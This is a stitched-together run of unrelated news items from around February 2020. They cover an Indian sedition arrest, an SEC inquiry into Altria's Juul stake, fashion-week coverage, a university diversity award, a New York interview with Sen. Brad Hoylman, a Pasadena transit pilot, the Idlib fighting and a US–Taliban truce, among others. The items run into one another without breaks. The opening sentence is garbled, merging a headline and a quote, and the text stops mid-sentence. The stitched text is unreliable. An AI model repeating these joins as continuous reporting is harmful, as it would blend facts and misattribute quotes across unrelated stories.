Bengaluru girl Amulya, who was arrested and jailed on sedition charges, on Friday condemned his 19-year-old daughter for shouting pro-Pakistan slogans at an anti-CAA rally a day ago here. "I condemn Amulya for shouting pro-Pakistan slogan at the rally and disown her views on CAA, NRC or NPR. I was not aware about her act till a friend called and told me about it last (Thursday) night," Oswald Noronha told a local news channel from his home at Koppa in Karnataka's Chikkamagaluru district. Noronha also alleged that he was forced to chant "Bharat maata ki jai" by Bajrang Dal activists who barged into his house earlier in the day and vandalised it. Earlier in the day, Amulya was sent to 14-day judicial custody after police arrested and produced her before a local magistrate in a sedition case, filed suo motu against her. Noronha said: "I also advised her not to criticise Prime Minister Narendra Modi and Union Home Minister Amit Shah for enacting the CAA. She does not listen to us. She has gone out of our control. I am sad and unhappy that she got into trouble for her views." "I told her not to talk in that manner on several occasions," Noronha recalled. Distancing from Amulya's social and political activism, Noronha told a Kannada news channel that his daughter should rot in jail and police should break her bones. "Let her rot in jail and let police break her bones for what she said and did. I don't support what she said and will not approach lawyers for her bail. She has committed a grave mistake," he said. According to media reports, Noronha was an environment activist who participated in Appiko Chaluvali, a southern version of the Chipko movement that was started by Pandurang Hegde in 1983 to save trees in the rich bio-diverse Western Ghats region in the state. On the Bajrang Dal attack, he said: "I agreed to repeat whatever they asked me to say only to save myself and my house from being further damage." Noronha filed a complaint with the police against some unidentified BJP activists for allegedly attacking his house at Koppa for Amulya's pro-Pakistan slogans. "The activists vandalised our house, smashed window glass panes and flower pots and damaged furniture," Noronha said in the complaint. The local police provided security to Noronha's house as he was staying alone after his wife shifted to her parents' home, fearing more attacks by right-wing elements. The Securities and Exchange Commission has launched an investigation into Altria's investment in e-cigarette start-up Juul Labs, the Wall Street Journal reported on Friday. Regulators are examining whether the tobacco company sufficiently disclosed to shareholders the risks when it invested $12.8 billion for a 35% stake in Juul in 2018, sources told the Journal. Altria's stake valued the start-up at $38 billion. Altria took a $4.1 billion impairment charge for its investment in Juul in January. The company said the charge reflects the growing legal charges against Juul and the expectation that the number of lawsuits will only increase. Juul is being sued by multiple states for its role in promoting vaping among teens and children. She has been hopping between shows at this season's Milan Fashion Week. And Emily Ratajkowski looked sensational as she arrived at the Versace Fall/Winter 2020 show in the Italian fashion capital on Friday afternoon. The model, 28, put on a busty display in a tiny red blazer dress, as she showcased her more than ample assets in the plunging number. Wow! Emily Ratajkowski looked sensational as she arrived at the Versace Fall/Winter 2020 show in the Italian fashion capital on Friday afternoon The thigh-skimming number also showcased Emily's tanned and toned pins, while she teamed the dress with a pair of strappy gold heels. Emily carried her essentials in a red leather clutch bag but otherwise kept her accessorises to a minimum, simply adding pair of gold hoop earrings. She wore her brunette locks in a loose straight style and highlighted her model features with a bronze pallet of make-up including a slick of lip gloss. Sizzling: The model, 28, put on a busty display in a tiny red blazer dress, as she showcased her more than ample assets in the plunging number Emily was joined on the front row by her model pals Jon Kortajarena and Barbara Palvin, who looked equally glamorous in their Versace ensembles. Barbara wowed in a deeply plunging black dress with zip detailing and cape sleeves, which she accessorised with a long pendant necklace and oversized hoops. Meanwhile, Jon rocked a black shirt and jeans but added a statement Versace print jacket to complete his eye-catching look. Leggy: The thigh-skimming number also showcased Emily's tanned and toned pins, while she teamed the dress with a pair of strappy gold heels FROW! Emily was joined on the front row by her model pals Jon Kortajarena and Barbara Palvin, who looked equally glamorous in their Versace ensembles Glam: Barbara wowed in a deeply plunging black dress with zip detailing and cape sleeves, which she accessorised with a long pendant necklace and oversized hoops Work it: Meanwhile, Jon rocked a black shirt and jeans but added a statement Versace print jacket to complete his eye-catching look Emily was recently in Jamaica on Valentine's Day with her husband, the hunky Uncut Gems producer Sebastian Bear-McClard. They were joined by their pal Josh Ostrovsky and his new influencer second wife Caitlin King. Emily got married in February 2018 after a whirlwind romance and engagement to Sebastian. She made a splash with her surprise courthouse marriage to Sebastian in New York City, wearing a $200 (154) Zara trouser suit. Wow! Following the show Emily stepped out for a night out in Milan Glamorous: The stat wore a deeply plunging black jacket with a pair of skintight trousers Campus News UB engineering school recognized as national leader in diversity, inclusiveness Taraunraj Singh (left), professor of mechanical and aerospace engineering, works with students in a research lab in Furnas Hall. Photo: Douglas Levere By CORY NEALON It is a credit to our entire school community that our diversity and inclusion efforts are being recognized nationally, and this award highlights that we are moving in the right direction. Rajan Batta, interim dean School of Engineering and Applied Sciences Summer camps for high school girls. Hiring a diversity officer. Strengthening programs that support underrepresented students and faculty. Those are just a few of the reasons the School of Engineering and Applied Sciences has been recognized by the American Society of Engineering Education (ASEE) as a national leader in diversity and inclusiveness. It is a credit to our entire school community that our diversity and inclusion efforts are being recognized nationally, and this award highlights that we are moving in the right direction, says Rajan Batta, interim dean of the School of Engineering and Applied Sciences. The school is among 29 engineering programs nationwide in 2019 to receive the bronze award with exemplar status from ASEEs Diversity Recognition Program. It was the programs inaugural year and bronze was the only level available. ASEE granted exemplar status to programs with initiatives or outcomes that were deemed by the reviewers as significant. The bronze-level recognition means that your school is among the nations leaders in advancing diversity and inclusion, says Gregory Washington, chair of the ASEE Engineering Deans Council. I commend you for your progress and thank you for your support of this important initiative. Launching new diversity programs Creating a more diverse and inclusive community has long been a goal of UBs School of Engineering and Applied Sciences. For years, it led programs such as Buffalo Engineering Awareness for Minorities and Tech Savvy. The former prepares underrepresented middle and high school students for STEM (science, technology, engineering and mathematics) careers. The latter works to introduce middle school girls to STEM fields in ways that are fun, exciting and relevant to their world. Another example is the Louis Stokes Alliance for Minority Participation program. This SUNY-led effort, which the school houses, supports historically underrepresented groups such as African Americans, American Indians and Latinos. In late 2012, the school placed a renewed emphasis on boosting diversity and inclusiveness among students, faculty and staff when Liesl Folks began her tenure as dean. Folks tapped Batta, then serving as associate dean for faculty affairs and diversity, and other leaders to guide the effort. New programs were launched, including the universitys Women in Science and Engineering program, as well as the Women in STEM Cooperative. Both work toward increasing the success of women in STEM fields; the cooperative hosts an annual summit (now in its sixth year) scheduled for March 4. Another example is the Womens Empowerment Scholarship, which is awarded to incoming freshman female students who demonstrate potential to become leaders in engineering or computer science. The non-tuition scholarship, which can help pay for housing, student fees and other costs, is the result of a partnership between the school and the Undergraduate Admissions office. More women engineering students The schools efforts are working. The percentage of female undergraduate engineering students rose from 14.6% in fall 2014 to 18.3% last autumn. In the same time period, the percentage of female graduate students rose from 21.2% to 24.5%. Meanwhile, the school is becoming more racially diverse. In the past six years, the percentage of Latino undergraduates grew from 5.8% to 6.5%, and the percentage of African American undergrads increased from 4.5% to 5.5%. During the same time period, the Asian undergrad population grew from 14.4% to 20%. Were promoting engineering education to people who have been historically underrepresented. Were providing an experience thats more equitable and inclusive, says Letitia Thomas, assistant dean for diversity. And were building a culture where diversity and inclusiveness are valued and recognized as means to improving our ability to solve societys most critical problems. As part of its comprehensive diversity plan, the school is working toward increasing faculty diversity. Last fall, women made up more than 21% of the engineering schools faculty, an all-time high. Additionally, the school works with the university's Office of Equity Diversity and Inclusion to implement university-wide policies that support LGBTQ community members. It also supports students launching clubs, such as the local chapter of the American Indian Science and Engineering Society, which works to increase the representation of American Indians, Alaska Natives, Native Hawaiians, Pacific Islanders, First Nations and other indigenous peoples of North America in STEM fields. Still work to be done PETERSBURGH Two young men from Vermont have been identified as the victims of Thursday's fatal car crash in this Rensselaer County community. The sheriff's office on Friday said in a news release that David Peterson, 19, of Bennington and his passenger, 18-year-old Jonathan Peters of North Pownal, were killed in the wreck on Route 346 shortly before 4:20 p.m. Thursday. Their relationship could not be immediately determined. The car the pair was riding in was traveling west on Route 346, when it apparently careened off the road from the northbound shoulder and struck a tree, according to authorities. They were pronounced dead at the scene. The investigation is continuing. NEW YORK - Former Ukraine ambassador Marie Yovanovitch, the career diplomat who during the impeachment hearings of President Donald Trump offered a chilling account of alleged threats from Trump and his allies, has a book deal. Houghton Mifflin Harcourt confirmed Friday to The Associated Press that it had acquired Yovanovitchs planned memoir, currently untitled. According to the publisher, the book will trace her long career, from Mogadishu, Somalia, to Kyiv and finally back to Washington, D.C. where, to her dismay, she found a political system beset by many of the same challenges she had spent her career combating overseas. Yovanovitchs book will deliver pointed reflections on the issues confronting America today, and thoughts on how we can shore up our democracy, Houghton Mifflin Harcourt said in an announcement. Financial terms were not disclosed, but two people familiar with the deal told the AP that the agreement was worth seven figures, even though the book is not expected until Spring 2021, months after this falls election. They were not authorized to discuss negotiations and spoke on condition of anonymity to discuss financial terms. Yovanovitch was represented by the Javelin literary agency, where other clients include former FBI Director James Comey and former National Security Adviser John Bolton. Yovanovitch told House investigators last year that Ukrainian officials had warned her in advance that Rudy Giuliani and other Trump insiders were planning to do things, including to me and were looking to hurt her. Pushed out of her job earlier in 2019 on Trumps orders, she testified that a senior Ukrainian official told her that I really needed to watch my back. Yovanovitch was recalled from Kyiv as Giuliani pressed Ukrainian officials to investigate baseless corruption allegations against Democrat Joe Biden and his son Hunter, who was involved with Burisma, a gas company there. Biden, the former vice-president, is a contender for the 2020 presidential election. According to a White House transcript, Trump told Ukranian leader Volodymyr Zelensky last summer that Yovanovitch, was bad news and the people she was dealing with in the Ukraine were bad news. The allegations that Trump pressured Ukraine to investigate a political opponent led to his impeachment in December on two counts by the Democratic-run House. Earlier this month, the Republican-run Senate acquitted him on both counts. Yovanovitch, 61, was appointed ambassador to Ukraine in 2016 by President Barack Obama. She recently was given the Trainor Award, an honour for international diplomacy presented by Georgetown University and currently is a non resident fellow at Georgetowns Institute for the Study of Diplomacy. Destination Crenshaws Pipeline to Public Sector Jobs (Courtesy Photo) While Black History Month marks a time for reflection and celebration of the past, it also provides an opportunity to envision the future. The month of February is filled with events and exhibits that uplift Black culture- from Lauren Halseys exhibit at David Kordansky Gallery which explores her reckonings with gentrification and the economic displacement of Black-owned businesses, to California African American Museum hosting Debbie Allens Dance Academy for a performance inspired by Cross Colours: Black Fashion in the 20th Century. This is a time to honor our communitys monumental impact throughout history to present day. ADVERTISEMENT While South L.A. has emerged as a cultural epicenter, its prominence has also been jeopardized by the threat of gentrification. Fueled by the crisis in housing and homelessness, residents of the historically Black community have started migrating not only to the suburbs but also the exurbs. Many civic leaders and community advocates believe the City of Los Angeles has a unique once-in-a-lifetime opportunity to rebuild the Black middle class and push back against displacement and cultural erasure with over $200 billion in investment, mainly driven by the public sector and due in large part to infrastructure, development and workforce development in the Greater Los Angeles area. The Metropolitan Transportation Authority and Los Angeles World Airports alone are investing over $120 billion in construction projects to enhance the public transportation system in L.A. and to increase capacity at some of the busiest airports in the world through modernization initiatives. In the coming years, the City of L.A. will undergo tremendous growth, an opportunity that hasnt been adequately communicated to Black Angelenos. Historically, public sector jobs have been the cornerstone of building the Black middle class. Approximately one in five Black adults work in professions such as teaching, USPS, driving buses and manufacturing, and are 30 percent more likely than non-blacks to work in the public sector. For millions of Black Americans across the country and in South L.A., these jobs offer stability, benefits such as health insurance, and the path to a better life. (Courtesy Photo) Widely praised for its creative place-keeping mission, Destination Crenshaw plans to have an impact on the community well in advance of its physical completion. In conjunction with Councilmember Marqueece Harris Dawson, this project will create a robust local workforce while increasing access to high-paying jobs and affordable housing. ADVERTISEMENT To do this, Destination Crenshaw will create a pipeline by recruiting new workers and residents without trade experience. The advisory council of Destination Crenshaw has indicated that it can and will require a minimum of 50% local hire for workers who are underrepresented minorities in trades. A move welcomed by many in the community given the estimated $63.6M in labor income and over one thousand jobs, which are expected to become available as a result of construction on the project. Equipped with the knowledge that mass gentrification is less likely to occur in major metropolitan cities experiencing a significant increase in public sector jobs, Destination Crenshaw is aiming to fortify the communitys ability to capitalize on development opportunities in the decades to come by cultivating an extensive skilled worker force. This is a collective effort to prioritize Black residents and local businesses that made Crenshaw the destination it is today. As Black L.A. continues to reflect on its profound history, Destination Crenshaw has envisioned a future where the community is heralded for its innovative place-keeping. To conclude Black History Month, residents and community members are coming together for the Destination Crenshaw groundbreaking celebration on Saturday, February 29, to participate and become more involved around job and apprenticeship opportunities, enjoying local eats and take in performances by Lula Washington Dance Theatre and the World Stage African Drummers. To RSVP, visit destinationcrenshaw.la/groundbreaking. I think people make a mistake when they say that Warren and Sanders are the ones competing in a lane, because the voters that are going to put Warren in a position to be competitive are deciding not between Sanders and Warren, but between Buttigieg, Klobuchar and Warren, said Addisu Demissie, a Democratic strategist and the former presidential campaign manager for Senator Cory Booker of New Jersey. The three of them, I think, are in a fight in a lot of ways for those college-educated voters, he said. Mr. Demissie said that Mr. Sanderss passionate and devoted following made up roughly a third of the Democratic base, and that pulling voters away from him would be nearly impossible. So the other three, he said, would most likely look to the college-educated, primarily white but not exclusively white voters to build their support. In New Hampshire, Ms. Klobuchar narrowly carried the college-educated vote, according to exit polls. Ms. Klobuchar has cited her steady stream of newspaper endorsements as evidence that she can appeal to those who hope to see a more moderate candidate take on Mr. Trump. Though only a single metric with unknown impact on voters, to look at the endorsements Ms. Klobuchar has racked up nine so far, double the amount of most of her rivals is to get a window into how Ms. Klobuchar long laid the foundation for what appeared to be a very rapid rise from obscurity to winning national delegates. Sitting in front of largely white and well-educated editorial boards across the country, made up of journalists who often have lengthy resumes of their own, Ms. Klobuchar was able to construct a portrait of her candidacy as one that was built on a bipartisan record in Congress and can appeal to independents. Pasadena is investigating bringing in a pilot microtransit program that would use minivans to provide rides in part of the city. The city is in the beginning stages of establishing the program, which would cover an area largely in the citys north side, and users could travel anywhere in that zone.. Dustin Heimler of RideCo, a Canadian company that provides that type of service, presented an outline of what could be launched in Pasadena at a Feb. 18 City Council workshop. The fare would be $2 per trip, and the city would subsidize RideCo $6 for each rider. The cost of an eight-month pilot program would be $438,000. Scheduling a ride would be similar to process used for Uber or Lyft. The user would use an app to contact the company and provide information about the desired trip. The user would then be directed to a virtual stop nearby to be picked up. The similarity to such services as Uber ends there, however. This is not a taxi service, Heimler said. These are dedicated transit vehicles. We choose to use a minivan because it is more efficient to move them around in a minivan than it is to put a conventional bus on the ground. Because there would be several passengers, the vehicles would be larger than the average car. Its a six-seat minivan, and we configure it for five for comfort because we dont want people falling over each other trying to get in the back seat, Heimler said. RideCo has a substantial presence in the microtransit industry, providing service in San Antonio, Los Angeles, Calgary and other cities around the world. Heimler said northeast San Antonio, where the company offers service, and the north side of Pasadena share many characteristics, such as population density, income level and having limited mobility in the area. The San Antonio microtransit operation has been successful. Its pretty identical to Pasadena, Heimler said. Weve been operating there for a year, and its phenomenal. Its been the most successful on-demand microtransit service anywhere in the world. The limited footprint of the pilot program caught the attention of several council members. It doesnt go to the hospitals along Beltway 8, Sammy Casados said. Don Harrison said the service should cover all of Pasadena. It needs to be citywide, like we had before, so it benefits all the citizens, he said. Heimler said the footprint could be altered for the pilot program and could eventually cover the entire city. Were happy to expand it, he said. As this proves successful and we get that ridership base, we would look at a long-term, city-wide transit option. Mayor Jeff Wagner was pleased with the presentation. This was very promising, he said. This is the way we should be thinking. In the past, we had the old bus system with Harris County with all fixed stops. With this, were very flexible because there are no bus stops. Heimler said the proposal for the pilot program would be modified and presented to the council. John DeLapp is a freelance writer. He can be contacted at texdelapp@gmail.com. Donald Trump's ads will take over the YouTube homepage on election day. The Trump campaign has bought the rights to take over the YouTube masthead as Americans head to the polls in November. The specifics of what will show in the space and how has not been revealed. It is also not clear how much the campaign paid for the space, but it is likely to be at least many hundreds of thousands of dollars. The Trump ads were first revealed by Bloomberg. A spokesperson for Youtube did not confirm any details about the takeover, but suggested that the ability to buy ads is "common" and would be available to other campaigns. "Its common for political advertisers across the political spectrum to buy YouTube masthead ad space during election cycles," a YouTube spokesperson said. "In the past, campaigns, PACs, and other political groups have run various types of ads leading up to election day. Gadget and tech news: In pictures Show all 25 1 /25 Gadget and tech news: In pictures Gadget and tech news: In pictures Gun-toting humanoid robot sent into space Russia has launched a humanoid robot into space on a rocket bound for the International Space Station (ISS). The robot Fedor will spend 10 days aboard the ISS practising skills such as using tools to fix issues onboard. Russia's deputy prime minister Dmitry Rogozin has previously shared videos of Fedor handling and shooting guns at a firing range with deadly accuracy. Dmitry Rogozin/Twitter Gadget and tech news: In pictures Google turns 21 Google celebrates its 21st birthday on September 27. The The search engine was founded in September 1998 by two PhD students, Larry Page and Sergey Brin, in their dormitories at Californias Stanford University. Page and Brin chose the name google as it recalled the mathematic term 'googol', meaning 10 raised to the power of 100 Google Gadget and tech news: In pictures Hexa drone lifts off Chief engineer of LIFT aircraft Balazs Kerulo demonstrates the company's "Hexa" personal drone craft in Lago Vista, Texas on June 3 2019 Reuters Gadget and tech news: In pictures Project Scarlett to succeed Xbox One Microsoft announced Project Scarlett, the successor to the Xbox One, at E3 2019. The company said that the new console will be 4 times as powerful as the Xbox One and is slated for a release date of Christmas 2020 Getty Gadget and tech news: In pictures First new iPod in four years Apple has announced the new iPod Touch, the first new iPod in four years. The device will have the option of adding more storage, up to 256GB Apple Gadget and tech news: In pictures Folding phone may flop Samsung will cancel orders of its Galaxy Fold phone at the end of May if the phone is not then ready for sale. The $2000 folding phone has been found to break easily with review copies being recalled after backlash PA Gadget and tech news: In pictures Charging mat non-starter Apple has cancelled its AirPower wireless charging mat, which was slated as a way to charge numerous apple products at once AFP/Getty Gadget and tech news: In pictures "Super league" India shoots down satellite India has claimed status as part of a "super league" of nations after shooting down a live satellite in a test of new missile technology EPA Gadget and tech news: In pictures 5G incoming 5G wireless internet is expected to launch in 2019, with the potential to reach speeds of 50mb/s Getty Gadget and tech news: In pictures Uber halts driverless testing after death Uber has halted testing of driverless vehicles after a woman was killed by one of their cars in Tempe, Arizona. March 19 2018 Getty Gadget and tech news: In pictures A humanoid robot gestures during a demo at a stall in the Indian Machine Tools Expo, IMTEX/Tooltech 2017 held in Bangalore Getty Gadget and tech news: In pictures A humanoid robot gestures during a demo at a stall in the Indian Machine Tools Expo, IMTEX/Tooltech 2017 held in Bangalore Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures The giant human-like robot bears a striking resemblance to the military robots starring in the movie 'Avatar' and is claimed as a world first by its creators from a South Korean robotic company Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Waseda University's saxophonist robot WAS-5, developed by professor Atsuo Takanishi Rex Gadget and tech news: In pictures Waseda University's saxophonist robot WAS-5, developed by professor Atsuo Takanishi and Kaptain Rock playing one string light saber guitar perform jam session Rex Gadget and tech news: In pictures A test line of a new energy suspension railway resembling the giant panda is seen in Chengdu, Sichuan Province, China Reuters Gadget and tech news: In pictures A test line of a new energy suspension railway, resembling a giant panda, is seen in Chengdu, Sichuan Province, China Reuters Gadget and tech news: In pictures A concept car by Trumpchi from GAC Group is shown at the International Automobile Exhibition in Guangzhou, China Rex Gadget and tech news: In pictures A Mirai fuel cell vehicle by Toyota is displayed at the International Automobile Exhibition in Guangzhou, China Reuters Gadget and tech news: In pictures A visitor tries a Nissan VR experience at the International Automobile Exhibition in Guangzhou, China Reuters Gadget and tech news: In pictures A man looks at an exhibit entitled 'Mimus' a giant industrial robot which has been reprogrammed to interact with humans during a photocall at the new Design Museum in South Kensington, London Getty Gadget and tech news: In pictures A new Israeli Da-Vinci unmanned aerial vehicle manufactured by Elbit Systems is displayed during the 4th International conference on Home Land Security and Cyber in the Israeli coastal city of Tel Aviv Getty "All advertisers follow the same process and are welcome to purchase the masthead space as long as their ads comply with our policies. YouTube's ad guidelines require that posts keep to the Google Ads policies but also its Community Guidelines, which govern all of the content that is made available on the site. It is also understood to apply extra guidelines to ads that appear on the homepage because of their high profile. Ads including those on the masthead are sold on a first come, first serve basis and can run for the full day, according to YouTube. A number of campaigns have already bought such masthead ads: the Bloomberg campaign as well as Trump bought them last year, and Obama, Trump and the Hillary Clinton campaign have all run them in previous elections. After Democrats gained control of both chambers of the Legislature last year, they started passing laws left and right and nobody was more prolific than state Sen. Brad Hoylman. Compared with passing the Child Victims Act and the Gender Expression Non-Discrimination Act by this time last year, one might assume that Hoylman found the start of this years session considerably less exciting. But while Senate Democrats havent been charging out of the gate with as much gusto as they did at the start of session last year, Hoylman still has a long list of bills hes hoping to see through. City & State caught up with Hoylman during a session break to talk about his efforts to ban law enforcements use of facial recognition technology, crack down on ghost guns, pass a pied-a-terre tax and more. This interview has been edited for length and clarity. You introduced a bill to ban law enforcement's use of facial recognition. Did the recent reporting about Clearview AI's partnerships with police departments across the country prompt this, or has the issue been on your radar for a while? I have had general concerns about data protection, particularly as it pertains to facial recognition, whether it's keyless entry systems, license card readers or, now, Clearview AI and the reporting that shows how vulnerable it is to abuse by law enforcement. Because there are virtually no regulations surrounding facial recognition. The legislation I proposed would place a moratorium on facial recognition technology and establish a task force to create guidelines for safe, responsible use. Have you been following how other local governments are handling these concerns? Cities like San Francisco and Oakland have also banned law enforcement's use of facial recognition, while New Jersey barred police from using Clearview AI in particular. I think we need to hit the pause button on it. You can go to the Apple App Store and see scores of different facial recognition apps that are available at your fingertips, and understand just how powerful this tool is and how dangerous it could be if it were used in an unfettered and unregulated way, which is the current state of play. I don't see Congress stepping into this void anytime soon. As with a lot of issues involving foot-dragging in Washington, it's up to New York to step up to protect its citizens and their privacy. The legislation, as you mentioned, would also create a task force to recommend future uses of the technology. What might regulations look like? Just hypothesizing, perhaps a warrant would have to be required to use this kind of technology, for example. The first step would be to understand what's being done currently. We know that (the NYPD) is storing photos of children as young as 11. As well as the fact that facial recognition is, according to studies, unreliable. It regularly misidentifies law-abiding citizens as criminals. An MIT study showed a 35% error rate when facial recognition tried to analyze (women) of color. And there's also a great area of error around gender. Gestational surrogacy is obviously an issue thats very close to you and yet despite accomplishing a lot of progressive reforms in the last few years, New York is one of few remaining states that has yet to legalize it. With the governors support of legalization, do you think its just a matter of time before it gets done, or is it an issue that will continue to divide Democrats? Well, it certainly hasn't divided many of us in the Senate, where it passed overwhelmingly last session. I think as we continue to educate our colleagues in both houses about the common sense notion that while New York does not permit compensated surrogacy agreements, 47 states do. And in those 47 states, the standards for the health, safety and legal protections for women acting as surrogates and donors are in many cases very poor or nonexistent. Essentially, we're asking New Yorkers to go to other states where there may be very bad laws that might jeopardize our citizens, and as well as jeopardize the health and wellbeing of women who are surrogates or donors in the process. State Sen. Liz Krueger, who voted against your gestational surrogacy bill, recently introduced her own bill that would legalize and regulate gestational surrogacy. What are your thoughts on that? Sen. Krueger is a close friend and colleague, so I respect her desire to weigh in. But I have to say that a bill that allows a woman acting as a surrogate eight days to change her mind and claim parentage over the child is a nonstarter. I speak from personal experience, having had two children through surrogacy. I would never go into an arrangement where the woman acting as a surrogate even though she's not genetically connected to my children might be able to claim parental rights. You could end up in a scenario similar to Baby M, which resulted in surrogacy bans all across the country, whereby you have multiple parents of the child, up to four possibly. For me, the idea should be to resolve these legal issues, not create them. And certainly it is for many intended parents, especially those who have gone through unsuccessful fertility treatments, cruel and unnecessary to create more uncertainty in their attempts to have a child. What are some of the protections for surrogates and donors in your bill? Our legislation creates a surrogate's bill of rights, which are the strongest protections for the wellbeing of a woman acting as a surrogate and egg donors in the country including mandating insurance coverage, independent legal counsel and a database that would track the health outcomes of surrogates and donors. New York City's property tax commission has recommended changes to overhaul the city's property tax system, but it looks like it will be a while before any progress is made on that. What do those recommendations mean for your proposed pied-a-terre tax? I think that the property tax commission recommendations are proof of concept of the pied-a-terre tax because they show a clear understanding that primary residences should be treated differently than a second and third home. Overhauling the property tax system has been as difficult as extending the Second Avenue Subway. We can make the system fairer immediately by passing a pied-a-terre tax and making sure that people who are wealthy pay their fair share, and that people who use New York City real estate as a safety deposit box pay a premium on that. A few weeks ago, you joined activists in a demonstration about the pied-a-terre tax in front of Amazon CEO Jeff Bezos' Flatiron pied-a-terre. Between that and a facial recognition ban Amazon has its own software, called Rekognition do you have any concerns about making an enemy out of Bezos? (Laughs). You know, I think that we, as a society, have to do everything we can to ensure that the very wealthy are paying their fair share. Even Mike Bloomberg agrees that the wealthy should pay their fair share. He's proposed a plan to raise $5 trillion in tax revenue from the super wealthy and big corporations, and a plan to pass a stock transfer tax which is something that for decades has languished in Albany because of opposition by Wall Street, and now you have one of Wall Street's biggest success stories proposing the very same legislation. What do you think about Bloomberg's candidacy? Well, I used to say that the more New Yorkers in a contest, the better. That was before Donald Trump. But I think it's an evolving race. I haven't yet endorsed. I think like a lot of New Yorkers, I'm waiting to see the field to continue winnow down and have a healthy exchange before New York's primary date. Like a lot of Democrats, I want someone who is a progressive champion and can win in November. Probably the most controversial topic in Albany right now is bail reform. Are you in favor of abolishing cash bail, or of giving the reforms more time to play out? I think we're having more time for the reforms to play out by virtue of the fact that this ongoing discussion between the Senate and the Assembly leadership. Politics is going to play a big role, clearly, in this, in part because of some really inaccurate headlines in the tabloids. That said, I think Senate Majority Leader Andrea Stewart-Cousins has done the right thing by taking advice and evidence from experts on all sides of the issue, and letting New Yorkers know that we want a system that's fair to defendants but safe to the general public. You also spoke out recently about the Boy Scouts of Americas decision to file for bankruptcy protection after a wave of child sexual abuse allegations. When you talk about public safety, one of the most important things Albany did last year was pass the Child Victims Act, and with the bankruptcy of the Boy Scouts of America pending, I think it's evidence that there are a lot of adult survivors who need their day in court. And that's why I'm working to extend the Child Victims Act for another year, as well as to allow adult survivors of child sexual abuse many of those who were victimized by Harvey Weinstein and Jeffrey Epstein the chance to file civil suits of their own, even though the statutes of limitation are passed. And am I correct that you were a former Eagle Scout? Yes, I'm a former Eagle Scout Troop 70, Lewisburg, West Virginia. What I find really outrageous is that scouting taught me about taking personal responsibility for my actions, and unfortunately, that's not a lesson that the leadership of the Boy Scouts of America have seemed to take to heart when it comes to their attempt to limit the awards that adult survivors are seeking through the Child Victims Act, by filing Chapter 11 this week. Dialpad Offers Heavily Discounted Business Communication Services for Startups As a startup itself, Dialpad knows a few things about the process. Ive been lucky enough to be in on the ground floor for three great startups, blogged Dialpad founder and CEO Craig Walker recently. The first was acquired by Yahoo!, the second by Google and my current company, Dialpad, is scaling to over $100 m ARR and going after a massive market. Dialpad provides a cloud based, AI-powered phone system that supports voice, video, and messages from existing devices. Using Dialpad, companies can move their phone system, conferencing and call center to the cloud, supporting both office-based and mobile workers. Employees are able to work from anywhere and artificial intelligence (AI), a feature of the solution, can help make every call a smarter call, according to the company. Built on the Google Cloud Platform, Dialpad's product suite covers the full range of modern business communications needs with Dialpad Talk, Support, Sell, and UberConference. All products are powered by the companys Voice Intelligence (Vi) proprietary technology designed to help companies gain insight into calls and conversations to improve productivity and employee performance. Recently, Dialpad launched an initiative to help startups get their businesses off the ground. Dialpad for Startups is a program designed to support emerging companies with free and discounted seats of all Dialpad products. The program will price Dialpad's solutions by tier depending on company size. For the smallest companies, packages start as free and continue with heavy discounts as companies grow (never reaching full price, according to Dialpad). The program also provides free video conferencing with UberConference. To qualify for the program, startups will need to have raised up to and including a Series A. "I know from experience that there are so many growing pains with building and scaling a company, and it has always been my belief that your communications tools should not be one of them," said CEO Walker in a news release. "Dialpad for Startups supports entrepreneurs and VC advisors by offering a low risk, high reward business phone system, all with the bonus of Voice Intelligence to future-proof and support business growth for maximum success." Please enable JavaScript to view the Edited by Maurice Nagle EUGENE A Portland couple convicted of killing a 21-year-old Lane Community College student last year in a case of mistaken identity was sentenced Thursday in Lane County Circuit Court. Regis Kindred, 30, who pleaded guilty last week to second-degree murder, was sentenced to life in prison with the possibility of parole in 25 years, The Register-Guard reported. Kailee Von Foster, 29, was sentenced to over 6 years. She pleaded guilty to second-degree manslaughter, acknowledging her role as the getaway driver in the May 4 murder of Alex Gradin. Both defendants asked Gradin's family for forgiveness. Family members and friends of Gradin offered messages of forgiveness, but the statements were interwoven with palpable grief. Kindred, a member of the Rollin 60s gang, believed Gradin was a member of rival Hoover Gang when he saw Gradin crossing the University of Oregon parking lot behind Taylors Bar and Grill, where the shooting happened. The couple had been driving around looking for a Hoover gang member after leaving a strip club earlier that morning, prosecutors said. Gradin was walking across the parking lot with friends and prosecutors say Kindred fired two shots. Von Foster then drove away. The couple was arrested months later in Portland. The Associated Press Macron, Merkel urge Russia to stop attacks against civilians Turkey had called for an immediate halt to the attacks on Idlib, and for the cease-fire to be followed, warning that if the attacks do not stop Turkey will act. German and French leaders called for an immediate end to attacks in Idlib, northwestern Syria, in a phone call with the Russian president, a government spokesman said on Thursday. "IDLIB IS FACING A CATASTROPHIC HUMANITARIAN SITUATION" Chancellor Angela Merkel and French President Emmanuel Macron, following their meeting in Brussels, held a joint phone call with Russian President Vladimir Putin and discussed recent developments in Idlib, Steffen Seibert, a spokesman for the German government, said in a statement. They called for an immediate end to combat operations and an unhindered humanitarian access, he said, adding that the civilians in Idlib were facing a catastrophic humanitarian situation. They also expressed their readiness to meet with President Putin and Turkish President [Recep Tayyip] Erdogan to find a political situation to the crisis, Seibert said. Syria has been mired in a vicious civil war since early 2011 when the Bashar al-Assad regime cracked down on pro-democracy protests. The United States has agreed a partial truce with the Taliban and is set to sign a peace deal for a 'reduction in violence' on February 29, Secretary of State Mike Pompeo has said. The week-long agreement will be between the US, Taliban and Afghan security forces and is expected to be signed in Doha, Qatar's capital. Peace talks had been deadlocked over demands for insurgents to cut down on violence in order to allow further US troop withdrawals from the country. US Secretary of State Mike Pompeo announced the planned February 29 signing date for a deal with the Taliban after holding talks with Saudi officials in Riyadh The agreement, which has taken more than a year to reach, is understood to mean that no major offensive operations can be launched against the Taliban, US or international forces. 'Upon a successful implementation of this understanding, signing of the US-Taliban agreement is expected to move forward,' Mr Pompeo said in a statement released after visiting Saudi Arabia. They will 'build on this fundamental 